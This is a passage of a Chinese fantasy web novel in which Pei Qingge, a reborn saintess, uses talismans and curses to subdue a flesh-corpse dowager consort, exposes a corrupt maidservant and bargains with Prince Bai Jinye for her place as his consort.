裴清歌的身体晃了下,她抬手扶住门框,“你在王府贪墨,克扣下人工钱银两,这些年王府但凡有人染病却无钱医病时,你就以王爷的名义把他们赶出府去,眼睁睁地看着他们病死。” “你娘知道了,阻止你,可你一碗哑药灌给她,让她说不了话,又挑断她的脚筋,让她无法出门找王爷告状。” “可却被人知道了你的所作所为,以此为要挟,要你把毒下在王府的饭菜里。” “你娘见你准备毒药,不忍你再害人,就上吊自尽,誓要带着你一起死。东窗事发,你还想让我当你的替罪羊么?” 高嬷嬷震惊地看着裴清歌,“你……你怎么知道?” “是你娘亲口告诉我的啊。”裴清歌看着高嬷嬷身上的人影,那人影伏在高嬷嬷的背上,听着裴清歌把事情都说出来,脸上的狰狞褪去,看着裴清歌脸上露出几丝感激,眼里含泪,对着床上的白锦夜拜了几拜。 只可惜,白锦夜什么也看不到。 “不!不!”高嬷嬷惊叫几声。 裴清歌眯眼笑了笑,“这几日你娘一直趴在你背上呢,你没觉得脊背发凉,身子沉重么?” “啊!”高嬷嬷惊惧地在自己的背上胡乱地抓着,“没有,我没有,娘,你都死了,为什么还要害我,为什么?” 看着高嬷嬷状若疯癫的样子,白锦夜的眉心皱了皱,若不是心里有鬼,又怎么会信了裴清歌这亲娘索命的鬼话? 白锦夜也懒得多言,只是挥了挥手,“赐白绫,对外便说高嬷嬷暴毙。” 高嬷嬷听了白锦夜的话,身体发软,连跪姿都无法维持,瘫倒在地上。 突然,她猛地看向裴清歌,却只看见裴清歌嘴角的笑。 那丝笑仿佛在说—— 看吧,我早就说了你会上吊而死。 第7章 她的重生,是偶然还是被算计? 侍卫上前拖住高嬷嬷。 被人禁锢住,高嬷嬷才回过神来。 她自小在宫中长大,为了活命,为了压在别人头上,她对各种计谋手段知之甚详。 如今,就算她要死了,她也绝不让裴清歌好过! 她要这王府永无宁日! “王爷,事到如今,老奴认命了,但老奴还有几句话想说。”高嬷嬷挣扎了一下,开口道。 白锦夜犹豫了一下,高嬷嬷的娘亲曾侍奉他母妃,便是看在她娘亲的份上,他会让她把最后几句话说完。 “老奴在王府贪墨,是老奴的错。被裴清歌抓到把柄,老奴也只能被她威胁。是她威胁老奴,让老奴在合卺酒里下药,玲珑姑娘的酒里是迷药,王爷的酒里是合欢散。也是老奴帮着她混进王府。” “你胡说!”裴清歌眯眼看着高嬷嬷。 “老奴已死到临头,还有什么可胡说的?人之将死其言也善。王爷,老奴一步错,步步错,才落得今日。但……老奴的本心只是爱财,并未想过害人性命,那毒也是裴清歌威胁老奴所下,裴清歌是皇后的人!皇后听说睢园的那位可以救张太妃,才会要下毒。老奴的话说完了,请王爷日后万分小心。” 高嬷嬷苦口婆心的说完,一个头磕在地上,“老奴拜别王爷,望王爷身体康健,长命百岁。” 看着高嬷嬷被侍卫拖下去,裴清歌冷哼一声,可真是好手段! 死到临头,都让人不得安生! “裴姑娘,解药!”陆绝盯着裴清歌,眼里闪着危险的神色。 裴清歌的手微微握成拳,此时若是她真的拿出解药,那就彻底没办法洗清自己的嫌疑了! 她转眼看向白锦夜,他的命堂又暗淡了些,有没有这解药,他怕是都活不长了。 “我说我能救他,但我没说我有解药。”裴清歌顿了顿道,“我只能解那蛊,王爷暂时没有性命之忧,你们再去寻解药就是。” 陆绝还要说什么,便听白锦夜淡淡地出声,“不知那是什么蛊?” 裴清歌想自己这一线生机毕竟还在白锦夜的身上,便开口解释,“那蛊虫叫青丝蛊,是以人的头发做引,入体后顺着血钻往心脏,一旦进入心脏,就回天乏术。” “这蛊起源何地?”白锦夜又问。 这一次,裴清歌没有说话,这蛊其实很低级,在北冥国大部分人都会用,可北冥国蛊术向来不传外人。 所以她不能说出北冥国,不然北冥国的人给天风国的肃亲王下蛊,那后果可就严重了。 她垂下眼,这王府上,难道还有北冥国的人? “这我不清楚,但是刚刚那蛊虫被火烧死,用蛊之人肯定得到了反噬。只不过这蛊术一般,反噬也不会太大,最多吐口血,就算那人还在王府,现在也不好找了。” 白锦夜抬眼看向陆绝,“送她回去。” 陆绝想说什么,但看着白锦夜的脸色,还是把裴清歌送到了门口,叫了个嬷嬷送她,人就折回了房间。 裴清歌跟在嬷嬷身后,看着院子里的摆设,却突然停了脚步。 风水一事,讲究阴阳调和。 阴不胜阳,阳不压阴。 可这院中的摆设,都是极阳,把院子里的阴气挤得干干净净,一丝都没有了。 以致于这院子阳气太胜。 胜得没有几个人能压得住。 怪不得白锦夜的命堂暗淡。 “裴姑娘?”嬷嬷忍不住出声提醒。 裴清歌回过神来,白锦夜是死是活,是不是有人要对他下手,好像跟她也没什么关系。 但,她也更加断定,这王府里必定有北冥国的人! 只是北冥国千百年来和其他国家不通往来,任何私自离国的人,都按叛国罪论处。 又怎么会有北冥国的人在其他地方呢? 那她能重生在这王府里,到底是偶然……还是被人算好的? * 陆绝站在床前,不解地问,“为何放她回去?” “皇后总要往府里塞人,既然裴清歌已经暴露了,严加看管就是。”白锦夜闭上眼,脸上浮上一丝疲惫。 “只是这蛊虫之风向来只在北冥国盛行,裴清歌怎么会?”陆绝脸上还带着疑惑,顿了顿又道,“回头我让司空好好查查她。” 白锦夜点点头,“你回去看着楚星玄吧,等他醒了,尽快问出救本王母妃的法子。皇后既然已经盯上他了,这北冥国的人,留久了不是好事。” “是。”陆绝应了一声,刚一转身,白锦夜的话又传过来。 “你以后在睢园,也多小心些。” * 裴清歌被关在梧桐院,每天有人按时来送饭和药,没人搭理她,她倒是乐得清闲。 就是给后背涂药麻烦了些。 她每日除却养伤,就是练练身手。 一晃快一个月过去,她琢磨着自己的身手大概也恢复了十之一二,起码在一般人面前自保是肯定没问题了。 早上洗漱完毕,裴清歌摸出铜钱,按例给自己起了一卦。 官鬼凶神,旺动克世,是有大祸临头之象。 但好在动化回头克,月建生扶子孙,来生合世爻,反成吉象。 虽有祸事临头,但若处理得当,倒能因祸得福。 平淡了半个月,终于有事找上门了? 果然,刚吃完早饭,绿竹就带着几个人进了门。 第8章 这就是转机? 一个小姑娘,被绿竹揪着耳朵走进来。 那小姑娘疼得直掉眼泪,“绿竹姑娘,我再也不敢了,再也不敢了,你放过我吧。” 绿竹一把把她推到裴清歌的脚边,“没看出来,倒是挺会收买人心啊。” 裴清歌垂眼打量了一眼跌倒在自己脚边的小姑娘,她并不认识她,“怎么,找王爷告状,王爷没来扒我的皮,你这又准备诬陷我什么?” 绿竹轻笑了一声,“诬陷你?桑榆,你自己说吧。” 那小姑娘的脸都已经被打肿了,她捂着自己青紫的脸颊,起身给裴清歌磕了一个头,“裴姑娘,我娘去年夏天生病,被高嬷嬷赶出府去,家里没钱医治,熬到入冬,还是没熬过去。” “奴婢听说了高嬷嬷的事,心里感激裴姑娘,所以……” 她说着就停了下来,后面的话没再说。 “所以没人愿意给梧桐院送饭,你就主动说你要送饭,还偷偷的加菜,又送伤药过来,要不是今天被我发现,你是要把这个臭瘸子当菩萨供起来了?”绿竹把后面的话说了出来。 裴清歌低头看她,倒是个善良的姑娘,知道感恩,可做了好事却不愿意说出来。 看她面色蜡黄,想必在府里本身就是个下等丫鬟,过得也不好,不然也不会没钱给她娘治病。 即便这样,她还愿意偷偷帮她,那她又怎么能看着她吃苦? “既然你这么愿意送饭,那你以后就去给雅园送饭吧。”绿竹不怀好意地笑道,“红奴要是知道从此以后有你替她给雅园送饭,她会很感激你的。” “不,不!”桑榆闻言,一脸惊恐,“我求你了,绿竹姑娘,是我错了,我再也不敢了,我真的不敢了!去了雅园,我就死定了,绿竹姑娘,你放过我吧!” “那我就只能告诉张嬷嬷,说你在王府偷东西,手脚不干净,等着张嬷嬷把你卖给人牙子吧!”绿竹抱着肩膀,瞥着桑榆,“不过就你这姿色,怕是也只能去妓院做个丫鬟了。” 桑榆的脸上满是挣扎,她不想去妓院做丫鬟,那她的一辈子就毁了,她还有家要养活……可是去雅园…… 看着桑榆的样子,绿竹又继续道,“听说你爹瘫痪在床,你弟弟还在读书,你去雅园送饭,要是运气好,这十两银子就给你了。”她说着从怀里掏出十两银子,在桑榆的眼前晃了晃。 桑榆看着那十两银子,咬了咬牙,只得答应下来。 裴清歌见状眯了眯眼,这是什么世道,十两银子就能让一个丫鬟去卖命? “把食盒给她。”绿竹摆了摆手。 后面的一个丫鬟把食盒拿过来,放在桑榆面前。 顿时,一股血腥味冲鼻! “半个时辰,送不到就等着去妓院吧!”绿竹说完,一甩袖子走了。 秋水跟在绿竹旁边,往后看了看,压低声音问,“能行么?裴清歌会去么?” “她那么爱多管闲事,当然会去。”绿竹眼底闪过一抹阴狠,“要不是她多管闲事,高嬷嬷也不会死,现在知道桑榆是为了给她送饭才落得这个下场,她不去就怪了。你去让红奴在雅园的院子里扔两只鸡,先把张太妃惹毛,等她去了就让她死无葬身之地!” “是。”秋水点点头,赶紧去了。 绿竹往梧桐院里看了一眼,嘴角勾了一抹笑,哼着小曲走了。 * 桑榆坐在地上,身体止不住的发抖。 裴清歌掀开食盒的盖子,里面是生肉、猪心,还有一碗不知道是什么的血。 她拧了拧眉,这哪是活人吃的东西? 她把桑榆从地上拽起来,又一手拎起食盒,“雅园在哪,你带我去。” “不。”桑榆伸手去拿食盒,“裴姑娘,奴婢去就好了。” 裴清歌抬手躲开。 桑榆眼泪流的凶,“奴婢贱命一条,死了就死了。这王府很多人受高嬷嬷压迫,心里其实都感激裴姑娘,就算没有奴婢,也会有人照料裴姑娘的。” 裴清歌眼底了然,原来绿竹这是杀鸡儆猴呢。 绿竹知道管得了桑榆一个,但也管不了那么多人,但若是桑榆下场凄惨,就没人再敢帮自己了。 “没关系,我命硬着呢。”裴清歌拿着食盒往外走,莫非她逢凶化吉的福缘就在雅园? 桑榆赶紧跟上去,“裴姑娘……” “有这时间,你还不如告诉我雅园到底是怎么回事?”裴清歌看了她一眼问道。 桑榆四下看了看,见没什么人,才压低了声音,“雅园里关着的,是王爷的母妃,张太妃。” “啊?”裴清歌有点诧异。 又想起那日高嬷嬷临死前,说是皇后知道了住在睢园的那位能救张太妃,所以才要杀他灭口。 这张太妃到底是怎么了? “奴婢只知道这个。”桑榆缩了缩肩膀,“他们都说,张太妃十几年前就疯了,吃肉喝血,一直被软禁在皇宫里,前几年王爷立了战功,就请旨接张太妃出来照顾。” “那会府上有好几个丫鬟去给张太妃送饭,但都被张太妃……王爷就只能派红奴专门去照顾张太妃,红奴原来是王爷的暗卫,轻功好,才得以活下来,但听说身上也是经常有伤。” 她说着又四处看了看,“这些都是府上的老嬷嬷闲聊时奴婢偷偷听到的,奴婢也不知道真假。” 疯了也没必要吃肉喝血吧? 裴清歌眼底闪过一抹暗芒,心里有了一点好奇和猜测。 她若是能救了张太妃……那自然就是因祸得福了。 想着她也加快了脚步。 雅园周围荒芜,穿过一片茂密的竹林才到,门墙都是铁的,院门紧闭。 “你在这等我。”裴清歌把桑榆留在原地,上前走到院门前。 食盒里有一把钥匙,她摸了摸钥匙,又放了回去,从旁边纵身一跃,跳上墙头。 院子里的一幕,却让她眸光瑟缩! 一个披头散发的女人,身上毫无活人的生气,正抓着一只活鸡撕咬着! 生生地咬开鸡的喉咙之后,就把鸡拎了起来,张嘴接着鸡脖子流下来的血。 裴清歌看得一阵犯呕。 那疯女人喝完血之后,把鸡扔到了一边,但却灵敏地闻到裴清歌手中食盒的血腥味,转头直愣愣地看了过来! 裴清歌也看清了她的脸,青紫色的脸上,血管暴突,目光呆滞无神,眼球一片血红。 那是—— 第9章 裴清歌,你找死! 肉尸! 裴清歌心中一紧! 这是北冥国专有之物,怎么会在天风国出现,又怎么会是白锦夜的母妃? 还不等她想明白,张太妃就已经闻到了生人的气息,嘶吼着朝她奔过来。 裴清歌一个翻身,落在地上。 张太妃迅速的冲到面前,裴清歌却一闪身,躲了过去。 她按照八卦图的步伐,在地上转着,和张太妃之间始终保持着三尺的距离,但张太妃就是怎么都碰不到她的衣角。 裴清歌仔细地观察着张太妃,如果十几年前张太妃就疯了,那她大概是从那时候就成为肉尸了。 可是只有喝过北冥国圣湖水的人,才可能会变成肉尸。 那圣湖水在北冥国禁地,就连北冥国的普通人都碰触不到,又怎么会被天风国的张太妃喝到? 而且若是没有维持生命状态解药,肉尸活不过三年,并且会日渐尸化,最终化为白骨。 但那解药的配方只有北冥国圣女才知道,也严格控制解药的流出,至少在她担任圣女期间,是绝对不可能有解药流出北冥国的。 那这张太妃没有解药为何能存活这么久? 裴清歌眯了眯眼,这肃亲王府的秘密还真多啊! 张太妃追不到裴清歌,急得吼声越来越急促,声音也越来越大。 院外的桑榆吓得腿脚一软,跌坐在地上。 * “王爷。”左辞步履匆匆的进了书房,连门都忘了敲,“王爷,裴清歌进了雅园!” “什么?”白锦夜一拍桌子站起身,身体也跟着晃了下。 左辞看着脸色苍白的主子,自半月前中毒之后,至今未找到解毒之法,只能靠陆绝的药来缓解,可他们也看得出来,王爷的身体每况愈下,“要不要我去找司空,找几个人把裴清歌弄出来?” 白锦夜微微眯了眯眼,“不必,死了就死了。” 左辞的脸色难看,“红奴说她已经进去半个时辰了,只听着张太妃的吼声越来越急,也……不知道裴清歌在里面干什么……” 白锦夜气息一滞,迈步出了书房,使上轻功就往雅园的方向赶。 “王爷!”左辞喊了声,陆绝千叮咛万嘱咐,让王爷不可运功,防止毒素加速运行,他急得跺了跺脚,转头看向一个婆子,“去通知陆神医,让他去雅园门外等着。”说完,自己也赶紧跟上了王爷。 * 陆绝坐在睢园窗边的软塌上,眯眼盯着站在窗边的楚星玄,“你已经站了半个时辰,有什么那么好看?” 楚星玄转头看了一眼陆绝,“你听不见么?” 陆绝微微皱了下眉头,“听见什么?” 楚星玄没说话,只是转头又向窗外看去,半响,唇角才勾起一抹笑,“她发狂了。” 陆绝不知道他在说什么,却见一个婆子急匆匆的进了门。 楚星玄看着那婆子在陆绝的耳边低语了几句,陆绝脸色一变就要走。 “我的条件不变。”盯着陆绝的背影,楚星玄开口道,“只要你们王爷答应,我就可以救人。” 陆绝转头看了他一眼,没说话,迅速的往雅园跑去。 * 白锦夜跃上墙头,便见张太妃追着裴清歌,而裴清歌脚步像是随意的移动,却能轻易躲开张太妃的抓捕。 混进王府,果然是不安好心! 一道带着杀气的目光从裴清歌的脸上扫过,他径直跳了下来。 追着裴清歌的张太妃脚步一顿,停了下来,转头向白锦夜看去。 裴清歌皱起眉头,这肉尸对和自己有血脉关系的人特别敏感,更喜欢喝他们的血,所以白锦夜一来,张太妃立刻就放弃了对她的追逐。 她本想上去阻止,可看着白锦夜一副要杀了自己的模样,已经迈出去的一步就慢慢地收了回来。 抱着肩膀,后退了几步,打算看会戏。 张太妃毕竟是白锦夜的母妃,他不能动手,也不能反击,一挡再挡,又因中毒体力不支,被张太妃逼进墙角。 张太妃举起手,黑长的指甲眼见着就要插进白锦夜的脖子里,一个绳圈突然套在张太妃的脖子上! 左辞指挥着几个人,拼命的把张太妃从白锦夜的身边拉开。 “王爷!”左辞喊道,“王爷快出来,这绳子坚持不了一会!” 像是应和左辞的话,在张太妃的挣扎下,一股麻绳断裂,一个侍卫从墙上掉下来,尖叫了一声,引起了张太妃的注意。 她转头看去,像是知道这人坏了自己的好事,就转身往侍卫那边冲去。 其他拽着绳子的侍卫也都在这个方向上,绳子根本起不到作用了! 只能眼睁睁地看着张太妃走近。 那侍卫倒在地上瑟瑟发抖,绝望的闭上眼,只望王爷能念在他忠心护主的份上,善待他家人。 只不过,那想象中的疼痛迟迟没有到来。 侍卫小心翼翼地睁开眼,便见一个女子挡在自己身前。 裴清歌手指沾着食盒里的血,在张太妃的脸上写下一道符咒,张太妃就站在原地不动了。 白锦夜瞪着裴清歌,眼里是控制不住的杀气,一个箭步冲过来就掐住了她的脖子。 裴清歌没有防备,被他掐的脚尖都离了地。 “裴清歌,你找死!” 他语气狠戾,听着让人心头发颤。 裴清歌脸色涨红,呼吸困难,半个字都说不出来,拼命地拍着白锦夜的手腕,可丝毫不见他放松,眼见着他就是诚心要掐死她! 裴清歌咬了咬牙,只能伸手胡乱摸了摸,抹掉了张太妃脸上的符咒。 “吼!”张太妃恢复了行动,再次朝白锦夜扑去。 白锦夜抬手一甩,就把裴清歌甩了出去。 她撞在院墙上,跌到地上,捂着嗓子咳嗽了半响,才终于平复了气息。 此刻院中已是一片狼藉。 再次恢复行动的张太妃更加暴虐,在白锦夜的手臂上咬了一口,几个侍卫都被她从墙上扯了下来,其中一个还被她抓破了肚皮,肠子流了一地。 * 楚星玄叹了口气。 若是之前,他还有办法制住肉尸,就算不能让她恢复神智,起码能不再伤人。 但如今,肉尸一旦沾到与她血脉相连之人的血肉,除非北冥国圣女到了,否则无人能制。 他想着,朝北冥国的方向看了一眼,北冥国圣女,又怎么会来天风国呢? 这大概就是肃亲王的宿命吧。 整个王府怕是都要给肃亲王陪葬了。 第10章 白锦夜是个短命的,她不想陪他一起死 “裴姑娘!裴姑娘!”左辞挡在白锦夜的身前。 他刚才亲眼见到裴清歌可以控制住张太妃,而且裴清歌进来半个时辰,丝毫没伤,她一定是有办法的,这一会大概也就只有她才能制住张太妃了! “呵。”裴清歌擦了擦嘴角的血站起来,“这会知道喊我裴姑娘了?” 左辞神色一赧,“裴姑娘,你若救了王爷,我这条命就是你的,要杀要剐随你怎么出气!” “本王不用她救!”白锦夜拧起眉,一把抓住左辞的肩膀,把他扔到了院墙之上,“准备火油,放火烧园!” “王爷!”左辞痛呼。 “快……去……”白锦夜拔出腰间佩剑,挡住张太妃的手,“本王……撑不了多久。” 话音落下,张太妃就已经把剑压到了白锦夜的胸前,肉尸铜皮铁骨,一般的利刃伤不到她,但是白锦夜却是血肉之躯,眼见着那利刃在他的胸口割出血痕,血顺着剑尖流到地上。 而这血腥味,更是刺激到了张太妃,她张开嘴,就往白锦夜的脖子上咬去。 左辞急得眼泪都涌了出来,难道他们家王爷,在战场杀敌无数,号称天风国战神,就要这样…… 其实王爷把张太妃接回来的时候,就想过今日,所以火油就备在雅园不远处。 王爷从来都没有想过拿王府里的人来冒险! 王爷怕是出不来了,烧了雅园,王爷只是想要保下王府其他人的命! 他抬起袖子一抹眼泪,“快去准备火油,烧雅园!” “可是王爷还在里面!”院外的一个侍卫说道。 “去!快去!”左辞吼了一声! 那侍卫不敢违逆,只得赶紧去了。 左辞手上握了拳,又重新跳了回去,站在张太妃背后,双手抓住白锦夜的佩剑,用力的往外拉。 “混账,你还回来干什么?”白锦夜怒道。 “属下的命是王爷救的,属下不能眼睁睁地看着王爷……要死,属下也死在王爷前面。”左辞的手上用力,剑刃割进他的掌心。 “呵,可真是主仆情深。” 突如其来的声音,吓了白锦夜一跳,转头便见不知道什么时候裴清歌已经站在他身旁。 “若不是见你愿意护着王府这些无辜的人,真该看着你死。”裴清歌说着嫌弃地看了白锦夜一眼。 他厌恶她? 她也厌恶他呢。 若不是他态度恶劣,原主也不会含恨而终。 原主做错了什么?同样是被人算计,凭什么后果就要有原主一个人承担? 死了还要背负骂名,真是上辈子做了什么孽这辈子碰上这样的人? 她收回目光,咬破自己的手指,抬手按在张太妃的眉心,一句句晦涩的咒语从她的嘴里念出。 血从裴清歌的指尖流进张太妃的眉心,伴着咒语,张太妃挣扎的力气慢慢小了下来。 而裴清歌的脸也越来越来白。 约摸着一炷香的功夫,张太妃彻底不动了。 裴清歌收回手,身体晃了晃,后退一步靠在院墙上,猛地一股刺鼻的味道传来,她皱了皱眉。 左辞也想起什么,朝外面大喊,“没事了,别……” 他的话还没说,院墙外猛地火光冲天。 裴清歌忍不住笑出声,“那日王爷在新房里碰倒了龙凤喜烛,我差点被烧死。看样子,王爷也逃不过,今天要和我一起葬身火海了,正好王爷也尝尝被火烧的滋味。” 院外都被浇了火油,火势瞬间蔓延,将整个院子都包裹了起来。 随即,外面哭声一片,裴清歌嘴角的笑容更大,“听,王爷,他们开始哭你了,没想到你这种人还有人愿意哭你,也不知道是不是想着哭得卖力点,回头遣散费能多领些。” 白锦夜被裴清歌的话气得脸色铁青,毒气攻心,一口黑血就吐了出来。 左辞赶紧扶住他,朝外吼道,“里面没事了,叫人灭火!” 裴清歌后退了一步,跟他们拉开些距离,像是怕白锦夜吐出来的血沾到她身上,“火这么大,他们肯定躲得远远的,又那么多人哭,你猜他们能不能听到你的喊声?” “裴姑娘,别说风凉话了!我们死在这对你有什么好处?”左辞看向裴清歌。 “大婚那日,是奸人所为,跟我没关系。王爷偏偏认为是我做的,我受此奇耻大辱,可没脸活着。反正我都要死,有你们两个陪葬,黄泉路上也不孤独是不是?”裴清歌摊了摊手,一脸的无所谓。 左辞看了白锦夜一眼,见他胸口汩汩冒血,人也几近昏迷,顾不上许多,“裴姑娘,王爷已经把玲珑姑娘送回裴府,把你留在王府了就是承认了你的身份,不管那日是你还是别人,这亏王爷已经吃下了,你还想怎么样?” “他吃亏?我还吃亏呢!”裴清歌倒是没想到白锦夜会把裴玲珑送回去,还以为裴玲珑已经做了王妃呢。 哦,不过想想大婚那日,好像应该是裴玲珑嫌弃了白锦夜。 不过左辞这话说的好像这王妃之位她裴清歌愿意要一样,明明吃亏最多的是她不是么? “你跟她废什么话?”白锦夜咬了咬舌尖,恢复了些意识,“咱们死在这,她也出不去。” “不,王爷,你不能死。”左辞摇了摇头,“军中兄弟都在等你回去,天风国不能没有你,卑职想办法送你出去。” 他说着抬头看了看,打算拼了自己这条命,把白锦夜送出去。 白锦夜又吐了一口血出来,却又想起什么,他抬眼死死地盯着裴清歌,“左辞,裴清歌一心想做本王的王妃,要是今天你和裴清歌不死,回头你记得让她给本王殉葬,本王就跟她死同穴!” 裴清歌被他盯得心里一颤,“王爷对我可真是垂爱。”她说着顿了顿,白锦夜是个短命的,她可不想陪他一起死,“救你们出去没问题,张太妃我也能救,但我有个条件。” 第11章 这个肃亲王妃,她当定了 左辞一听,不等白锦夜答应,他就赶紧答应了下来。 “你答应有什么用?”裴清歌看着他轻笑,“你能替你家王爷做主?” “你若能救本王母妃,本王答应。”白锦夜眯了眯眼,不知道裴清歌又要耍什么花样。 “如果我救了张太妃,你就得承认我是你的王妃,那无论发生什么事,你都不能休我,而且,就算你死了,也不准许让我给你陪葬。”裴清歌看着白锦夜的面容,他命堂越来越暗,离死不远了。 等他一死,名正言顺的肃亲王妃就是这王府的主子了。 一来她就能彻底查清这王府里的事情到底是怎么回事,和北冥国到底什么关系,不必被人掣肘。 而若是白锦夜把她休了,她不管是回裴府还是想办法回北冥国,都没办法再查这王府里的事了。 二来……她早就听过白锦夜的大名,年纪轻轻就成为天风国战神,统领天风国三分之二的兵权,封地赏银无数,谁嫌钱多呢? 三来,也是最重要的一点,白锦夜手下一半的军队都陈兵在和北冥国的交界处。 虽然两国井水不犯河水,但若是这些军队在白锦夜死后向她这个肃亲王妃效忠,那无疑是给北冥国的边防增加了一道屏障。 所以,看在白锦夜命短,而她虽然会顶着寡妇的名头,但百利无一害的情况下,这个肃亲王妃,她当定了! 白锦夜轻笑一声,眼里带着不屑,“本王不是早就说了,你可以留在王府?至于别人是不是把你当王妃……那得看你自己。” 裴清歌微微拧了拧眉,想了会,点了点头,不打算计较这些细节。 “裴姑娘,那我们怎么出去?”左辞急着问道。 裴清歌抬头看了看天,“我昨晚看星象,月离于毕,在其阴,今日必有大雨。” 左辞抬头看了看晴朗的天空,“可是……等雨下来,我们都被烧死了。” 裴清歌撕下一片衣襟,写了一道符咒,“那就催催雨。”说完,把符咒往天上一扬。 符咒只飞了一段,就被火舌卷走,连灰都没留下。 左辞尴尬地看着裴清歌,“裴姑娘,这玩笑并不好笑。” “是么?”裴清歌笑吟吟地看着左辞。 “轰隆隆” 蓦地,晴空中一道惊雷响起,左辞脸上的表情彻底僵住! 大雨顷刻间落下,很快就浇灭了大火。 陆绝站在雅园外面,脸色难看。 他知道,白锦夜这是做了必死的打算了。 他只是恨,恨没有早一点对裴清歌下杀手! 她大概是知道,以她一己之力,根本不可能在这王府翻起什么浪花。 所以就把主意打在了张太妃的身上。 若不是皇后早有交代,裴清歌怎么会知道怎么惹怒张太妃? 就因为他们以为裴清歌不过是一个人,他们只要时刻监视她,能控制住她。 这将近一个月来,她也都是老老实实地呆在自己的院子哪里也没去,没想到今天刚一出院子,就发生这样的事。 若是……白锦夜今天真的难逃一死,他绝不会放过一个跟这件事有关的人! “陆神医,这火灭了……”旁边有个侍卫低声提醒,顿了顿,又眼眶发红地道,“是不是王爷命不该绝?” 陆绝微微眯了眯眼,若是白锦夜有办法止住张太妃,就不会让点火了。 现在火灭了,大概不是王爷命不该绝。 而是……张太妃真的快要冲出来了。 白锦夜拼了命都要阻止张太妃出来伤及无辜,无论如何,他也得把张太妃挡住! 陆绝神色凝重地捏着手里的剑柄,看着雅园的院门被人从里面一脚踹开,下意识地拔出剑。 只不过很快他就隔着雨幕看清了是几个人一起向外走了出来,他这才松了一口气,收了剑,快步迎上去。 只是走了几步,脚步又蓦地停下来。 他看见左辞扶着浑身是血的白锦夜,裴清歌跟在一边……张太妃跟在裴清歌的身后。 他瞳孔微缩,不知道发生了什么事。 “陆大夫。”裴清歌看着他,念了一张药方,“这药方给你们王爷喝下,也许能保他一命,但是不是真的能救过来,就看造化了。” 说完,脚步没停,继续往前走。 张太妃也迈着僵硬的步伐,跟在裴清歌的身后。 所有人,仿佛见鬼了一般,自动给裴清歌让出了一条路。 裴清歌当然知道,他们不是怕自己,是怕张太妃。 路过桑榆的时候,裴清歌的脚步停了下来,指了指她对着左辞道,“这个丫鬟我要了。” 但也没等左辞搭话,她就拽着桑榆往外走了。 桑榆被裴清歌拖着走了一段,还是忍不住害怕往身后看。 “别怕,她不会再发疯了。”裴清歌拉着她。 “可是……她的样子好吓人。”桑榆压低声音,生怕张太妃听到一样。 “这么多年没洗澡,脏兮兮的当然可怕,等回去给她洗个热水澡,剪剪指甲,换身衣服,好好收拾一下就好了。”裴清歌说着揉了揉后背,撞在墙上那下可真疼。 该死的白锦夜,看回头不找个机会好好折磨他一下。 走到院门口,裴清歌才想起什么,“那个绿竹,平时总是欺负你们?” 桑榆叹了口气,“她是王爷的通房丫头,算是半个主子,也不能说是欺负我们。” “是么?”裴清歌眯了眯眼,“没名没分的,算是什么半个主子,回头给你出这口恶气。” 第12章 他现在是焦头烂额的陆无能 裴清歌先安顿了张太妃,见外面雨停了,就又要出门。 “裴姑娘。”桑榆赶紧跟在她身边,神色怪异,“你要干什么去?” “有几个侍卫被张太妃抓咬伤了,我得去看看他们,这样的伤,不是一般的伤药可以医治的。”裴清歌转头看着桑榆,想了下还是解释了自己要去做什么。 “那你能不能带上奴婢?”桑榆小心翼翼地拽了拽她的衣角,又下意识地瞥了一眼张太妃的方向,才道,“奴婢可以帮忙的。” 裴清歌笑了笑,她知道,桑榆是害怕张太妃,不敢跟她独处,但也没拆穿,只是说,“走吧。” 出了院子,打听了好几个人,才有一个人不情愿地告知了那几个侍卫被送到了药房,府医正在照料。 只不过裴清歌刚到药房,就被落霞拦在了门外。 桑榆靠在裴清歌耳边低声道,“这是落霞,药房的事,都是她掌管的。” 其实不过是个在药房登记的,但久而久之,就变成了任何人想要从药房拿药,都得经过落霞的许可。 “裴姑娘来看那几个受伤的侍卫。”桑榆对裴清歌说完,又看向落霞。 落霞翻了个白眼,雅园的事她也听说了些,要不是裴清歌私自跑到雅园惹怒张太妃,其他人又怎么会被牵连受伤?“府医已经在看了,就不劳裴姑娘了,哪来的回哪去吧,我们这药房可禁不住大火。” 裴清歌只是笑着看着她,也不说话。 站了半响,见她还不走,落霞有点不耐烦,“我说你听不懂人话么?赶紧走,不要呆在药房碍事!” 她的话音落下,府医也从药房里走出来,看着落霞急吼吼地道,“落霞姑娘,你快去禀告王爷,请陆神医过来吧,这血根本止不住!” 落霞一听,脸色难看,也不再跟裴清歌废话,迈步就往外跑。 裴清歌这才掸了掸衣摆,进了药房。 “你是哪来的?不要在这添乱!”府医按着一个人的伤口,瞥了裴清歌一眼,吼了一嗓子,但也没有闲心管她。 裴清歌也没理他,走到一个侍卫身边,见到一旁的桌上有银针,就顺手拿起来,在他伤口周围连下几针。 “啊,不疼了,丁大夫……”本来疼得闭着眼睛直哼哼的侍卫还以为是丁大夫做了什么,一睁眼却见坐在自己旁边的是裴清歌。 别人不知道,但是他们几个可都是知道的,要不是裴清歌,他们就死在雅园了! 侍卫一个激动坐起身,他可是耳尖的听到左辞说王爷已经承认裴清歌的身份了,“王妃,您……您怎么来了?” 裴清歌微微勾了勾唇,“来看看你们的伤。”说着又拿起银针走到另外一个侍卫身边,下针止血。 丁大夫听侍卫的称呼,也知道了这女人的来历,本来眼里对裴清歌充满了不屑,但见她下针手法快又准,而且迅速的就止住了这些侍卫伤口的血,眼里不由闪过一抹敬佩,默默地让开了身。 裴清歌帮侍卫一一用银针止血后,又起身走到药柜边配了些药,放进药碾里碾碎,洒在伤口上,再撤去银针。 丁大夫站了会,打算上前帮忙,递过一卷纱布,“这伤口是要包扎么?” “不用。”裴清歌垂眼盯着一处伤口,只见撒上去的灰白药粉很快就变成墨黑色,她才开口道,“等所有的药粉都变成黑色,你帮他们把这层药粉洗掉,然后再上普通的伤药包扎就可以了。” 说完她想着张太妃还等着她回去给洗澡,也没打算多留,就站起身准备离开。 “王妃救命之恩,属下没齿难忘。”一个侍卫赶紧开口道,他就是最开始被张太妃从墙上扯下来的侍卫。 要不是裴清歌挡在他面前,他那会就死了。 裴清歌转头看了他一眼,顿了顿,只是说,“举手之劳,不必挂怀。” 对她来说是举手之劳,可对其他人来说却是天大的恩情。 几个人感激地看着裴清歌离开,隔了半响,一个人才低声道,“王妃虽然……但看着也不坏。” “要是不毁容,腿没瘸,跟咱们王爷也算是般配。” “只可惜……” “看人又怎么能看光看外表呢?王妃的本事,足以配得上王爷了。你们忘了独臂独眼的华擎华大将军了么?那不依然是吾辈楷模?” “对,没错!” 府上的侍卫,也大多数是跟着白锦夜上过战场的,本就不拘一格,对人的评判标准也简单—— 